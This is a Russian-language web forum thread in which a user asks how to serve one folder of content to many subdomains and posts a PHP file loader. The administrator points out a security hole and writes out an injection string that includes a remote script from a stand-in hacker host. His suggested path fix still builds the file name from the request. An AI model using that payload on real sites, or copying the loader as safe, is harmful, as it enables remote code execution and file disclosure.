СМС-ки
   
Пейджер выключен!
  Ответ в темуСоздание новой темыСоздание опроса

> Много сайтов с разным дизайном, но с одинаковым контентом
belvision  
 ۩  Дата
Цитировать сообщение
Offline



Новичок
*

Профиль
Журнал
Группа: Пользователь
Сообщений: 14
Пользователь №: 16844
На форуме: 3 года, 27 дней
Репутация: нет




Здравствуйте! Есть задача сделать много сайтов с доменом третьего уровня с разным дизайном но с одинаковым контентом, Есть сайт domen.ru так же если нужно изменить контент на domen.ru нужно чтобы он изменился сразу на всех остальных сайтах 3 уровня

sait1.domen.ru
sait2.domen.ru
sait3.domen.ru
.............
sait101.domen.ru
Сайт domen.ru построен по схеме разделения дизайна и контента то есть в файл index.php вставлен такой код
<?
if (empty($_SERVER['QUERY_STRING']))
{ $name="index"; }
else
{ $name=basename($_SERVER['QUERY_STRING']); }
$file="txt/".$name.".htm";
if (is_readable($file))
{ readfile($file); }
else
{ echo "<br>Запрошенный вами файл не найден<br>";}
?>
То есть например странице index.php ссылка на страницу новости имеет вид domen.ru/index.php?news или на страницу контакты такая domen.ru/index.php?kontakt
Сами страницы все сложнены в папке txt которая находится в том же каталоге что и сам файл index.php
Поскольку нужно открыть много сайтов с разным дизайном но с таким же контентом как domen.ru
то хотелось бы знать как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt которая находится фактически на другом домене. Это нужно поскольку не хочется эту папку копировать много раз занимая место на сервере и помещать в тот же каталог где находятся страницы индексных файлов доменов 3 уровня.
PMПисьмо на e-mail пользователю
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
FatCat  
Дата
Цитировать сообщение
Offline



Чеширский кот
******

Профиль
Журнал
Группа: Администратор
Почтальон группы
Сообщений: 3264
Пользователь №: 1
На форуме: 6 лет, 1 месяц, 1 день
Репутация: +37/-0

Не пью :
17 лет, 6 месяцев, 2 дня


Ваш вопрос потом.
Дыру в безопасности зачем оставили?
Цитата (belvision @ 5.04.2009 - 03:04)
$file="txt/".$name.".htm";

А если я вместо имени файла подставлю в запросе такую строку?
Код
;include("http://my_hacking_site.ru/hack.php");$file=

В результате на Вашем сайте отработает код:
PHP
$file="txt/";
include(
"http://my_hacking_site.ru/hack.php");
$file=".html";


--------------------
Бесплатному сыру в дырки не заглядывают...
PMПисьмо на e-mail пользователюICQ
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
FatCat  
Дата
Цитировать сообщение
Offline



Чеширский кот
******

Профиль
Журнал
Группа: Администратор
Почтальон группы
Сообщений: 3264
Пользователь №: 1
На форуме: 6 лет, 1 месяц, 1 день
Репутация: +37/-0

Не пью :
17 лет, 6 месяцев, 2 дня


Цитата (belvision @ 5.04.2009 - 03:04)
как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt

Пишите абсолютный путь от папки /home/


--------------------
Бесплатному сыру в дырки не заглядывают...
PMПисьмо на e-mail пользователюICQ
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
belvision  
 ۩  Дата
Цитировать сообщение
Offline



Новичок
*

Профиль
Журнал
Группа: Пользователь
Сообщений: 14
Пользователь №: 16844
На форуме: 3 года, 27 дней
Репутация: нет




Спасибо за подсказку помогите устранить эту дыру безопасности как должен выглядеть код?
PMПисьмо на e-mail пользователю
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
belvision  
 ۩  Дата
Цитировать сообщение
Offline



Новичок
*

Профиль
Журнал
Группа: Пользователь
Сообщений: 14
Пользователь №: 16844
На форуме: 3 года, 27 дней
Репутация: нет




И как именно писать абсолютный путь от папки home
ведь папка с файлами поддомена находится в том же каталоге что и папка с файлами домена
например
htdocs.sait1.domen.ru папка поддомена в которой находится индексный файл
htdocs папка с файлами самого домена в которой находится папка txt и индексный файл
PMПисьмо на e-mail пользователю
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
belvision  
 ۩  Дата
Цитировать сообщение
Offline



Новичок
*

Профиль
Журнал
Группа: Пользователь
Сообщений: 14
Пользователь №: 16844
На форуме: 3 года, 27 дней
Репутация: нет




Кстате если внешние инклуды запрещены на сервере эта дыра не сработает
PMПисьмо на e-mail пользователю
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
FatCat  
Дата
Цитировать сообщение
Offline



Чеширский кот
******

Профиль
Журнал
Группа: Администратор
Почтальон группы
Сообщений: 3264
Пользователь №: 1
На форуме: 6 лет, 1 месяц, 1 день
Репутация: +37/-0

Не пью :
17 лет, 6 месяцев, 2 дня


Цитата (belvision @ 5.04.2009 - 16:38)
И как именно писать абсолютный путь от папки home

PHP
define(TXT_PATH,"/home/user_dir/public_html/txt/"); 
// бла-бла...
$file=TXT_PATH.$name.".html";
if (
is_readable($file)) 
{
    
readfile($file); 
}


Или топориком на коленке:
PHP
$file="/home/user_dir/public_html/txt/".$name.".html";
if (
is_readable($file)) 
{
    
readfile($file); 
}



Цитата
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает

Да, заинклюдить не получится.
Но можно будет пошарить по директориям выше директории сайта. wink.gif


--------------------
Бесплатному сыру в дырки не заглядывают...
PMПисьмо на e-mail пользователюICQ
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
belvision  
 ۩  Дата
Цитировать сообщение
Offline



Новичок
*

Профиль
Журнал
Группа: Пользователь
Сообщений: 14
Пользователь №: 16844
На форуме: 3 года, 27 дней
Репутация: нет




Спасибо большое за подробный код пути к папке теперь всё работает

Это сообщение отредактировал belvision - 11.04.2009 - 18:34
PMПисьмо на e-mail пользователю
Для быстрого поиска похожих сообщений выделите 1-2 слова в тексте и нажмите сюда Для быстрой цитаты из этого сообщения выделите текст и нажмите сюда
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:

  Быстрый ответ
Информация о Госте
Введите Ваше имя
Кнопки кодов
Для вставки цитаты, выделите нужный текст и
НАЖМИТЕ СЮДА
Введите сообщение
Смайлики
:huh:  :o  ;) 
:P  :D  :lol: 
B)  :rolleyes:  <_< 
:)  :angry:  :( 
:unsure:  :blink:  :ph34r: 
     
Показать всё

Опции сообщения  Включить смайлики?
 Включить подпись?
 
Опции темы Ответ в темуСоздание новой темыСоздание опроса